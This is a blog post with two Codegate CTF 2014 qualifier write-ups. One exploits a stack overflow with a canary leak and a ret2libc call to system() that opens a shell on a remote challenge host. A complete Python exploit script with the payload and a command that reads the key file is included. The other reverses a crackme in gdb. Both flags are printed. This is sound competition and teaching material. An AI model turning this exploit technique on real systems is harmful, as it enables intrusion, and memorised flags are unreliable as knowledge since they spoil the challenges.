Tuesday, February 25, 2014

Codegate CTF Quals 2014 - Angry Doraemon - Pwnable 250 - [Team SegFault]

We were given a 32 bit ELF running on Ubuntu 13.10 x86 system with NX, Stack Canary and ASLR enabled. The vulnerability is in the function that handles option 4.
buf             = dword ptr -16h
.text:0804902F                 mov     dword ptr [esp+8], 6Eh ; nbytes
.text:08049037                 lea     eax, [ebp+buf]
.text:0804903A                 mov     [esp+4], eax    ; buf
.text:0804903E                 mov     eax, [ebp+fd]
.text:08049041                 mov     [esp], eax      ; fd
.text:08049044                 call    _read           ; buffer overflow here 
.text:08049049                 movzx   eax, byte ptr [ebp+buf]
.text:0804904D                 cmp     al, 79h
.text:0804904F                 jnz     canary_check
0x6E bytes can overflow the stack but stack canary should be bypassed to overwrite saved EIP. We can take advantage of below piece of code to get information leak.
.text:08049055                 lea     eax, [ebp+buf]
.text:08049058                 mov     [esp+8], eax
.text:0804905C                 mov     dword ptr [esp+4], offset choice ; "You choose '%s'!\n"
.text:08049064                 mov     dword ptr [esp], offset s ; s
.text:0804906B                 call    _sprintf
.text:08049070                 mov     [ebp+n], eax
.text:08049073                 mov     eax, [ebp+n]
.text:08049076                 mov     [esp+8], eax    ; n
.text:0804907A                 mov     dword ptr [esp+4], offset s ; buf
.text:08049082                 mov     eax, [ebp+fd]
.text:08049085                 mov     [esp], eax      ; fd
.text:08049088                 call    _write
This is what the memory layout looks like
[10 bytes buffer | 4 bytes canary | 8 bytes buffer | 4 bytes EBP | 4 bytes EIP]
Writing 10 bytes to buffer will concatenate the buffer with canary, such that sprintf() will read all 14 bytes since there is no NUL byte to terminate the memory area. But remote server had a canary value with NUL byte, so overwrite with 11 bytes to leak information about the canary. This will give us the canary value along with saved EBP, thus leaking the random address of stack.

We have the address of stack and canary. Idea of the final payload is to call system("sh<&4 >&4"). For this, we leaked information of __libc_start_main's randomized address and computed offsets to the system() function. Now this is what the payload looks like
[nnnnnnnnnn(10 bytes) | leaked canary(4 bytes) | 12 bytes junk | system@libc | 0xdeadbeef | arg ]
Below is the final exploit:
#!/usr/bin/env python

import struct
import socket
import time

ip = '127.0.0.1'
ip = '58.229.183.18'
port = 8888

canary = 0x008bc384
ebp = 0xbfb0a7d8

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
time.sleep(3)

soc.recv(8192)
soc.send("4\n")
time.sleep(1)

soc.recv(512)
canary = struct.pack(">I", canary)

payload  = "n" * 10
payload += canary
payload += "A"*12      # padding
payload += struct.pack("<I", 0xb759f260) # overwrite EIP with system@libc
payload += struct.pack("<I", 0xdeadbeef)
payload += struct.pack("<I", ebp-16)
payload += "sh<&4 >&4\x00"

soc.send(payload + "\n")
soc.send('cat /home/angry_doraemon/key\n')
print soc.recv(1024)
Flag for the challenge is CMP67_eax_N1gHt_Jz_B3d_PND_SeelEEP

Codegate CTF Quals 2014 - dodoCrackme - Reverse 200 - [Team SegFault]

The binary starts with mmap() syscall to allocate a memory of 0x7530 bytes.
.text:00000000004000E0 exit:                                  
.text:00000000004000E0                 mov     eax, 3Ch
.text:00000000004000E5                 mov     edi, 0
.text:00000000004000EA                 syscall
.text:00000000004000EC                 mov     r9d, 0
.text:00000000004000F2                 mov     r8, 0FFFFFFFFFFFFFFFFh
.text:00000000004000F9                 mov     r10d, 22h
.text:00000000004000FF                 mov     edx, 3
.text:0000000000400104                 mov     esi, 7530h
.text:0000000000400109                 mov     edi, 0
.text:000000000040010E                 mov     eax, 9
.text:0000000000400113                 syscall                 ; mmap
.text:0000000000400115                 cmp     rax, 0
.text:0000000000400119                 jle     short exit
.text:000000000040011B                 mov     rbp, rax
.text:000000000040011E                 add     rbp, 3A98h
The allocated memory is then used as stack for performing memory operations. There is lot of lea, inc, dec instructions throughout the binary to compute values. Below is the syscall to write() to print chr(r) and chr(o)
.text:0000000000400276                 lea     rbp, [rbp+8]
.text:000000000040027A                 dec     byte ptr [rbp+0]
.text:000000000040027D                 dec     byte ptr [rbp+0]
.text:0000000000400280                 dec     byte ptr [rbp+0]
.text:0000000000400283                 mov     eax, 1
.text:0000000000400288                 mov     edi, 1
.text:000000000040028D                 mov     rsi, rbp
.text:0000000000400290                 mov     edx, 1
.text:0000000000400295                 syscall                 ; r
.text:0000000000400297                 dec     byte ptr [rbp+0]
.text:000000000040029A                 dec     byte ptr [rbp+0]
.text:000000000040029D                 dec     byte ptr [rbp+0]
.text:00000000004002A0                 mov     eax, 1
.text:00000000004002A5                 mov     edi, 1
.text:00000000004002AA                 mov     rsi, rbp
.text:00000000004002AD                 mov     edx, 1
.text:00000000004002B2                 syscall                 ; o
What I can see is that, value pointed by RBP is being operated upon to create needed characters. Few more system calls prints root@localhost's password: .
[ctf@renorobert codegate14]$ ./crackme_d079a0af0b01789c01d5755c885da4f6 
root@localhost's password: asdfghjkl
Permission denied (password).
Supplying a wrong key prints Permission denied (password). and a maximum of 32 characters are read. Then I decided to break at read() syscall to inspect memory. The idea was to check if all the operations and memory referred by RBP, left the key or any interesting string in the mmap'ed area.
gdb-peda$ break *0x00000000004065AA
gdb-peda$ x/600x $rbp
0x7ffff7ff9b30: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7ff9b38: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7ff9b40: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7ff9b48: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7ff9b50: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7ff9b58: 0x48 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7ff9b60: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7ff9b68: 0x34 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7ff9b70: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7ff9b78: 0x50 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7ff9b80: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7ff9b88: 0x50 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7ff9b90: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
All these bytes yields the flag H4PPY_C0DEGaTE_2014_CU_1N_K0RE4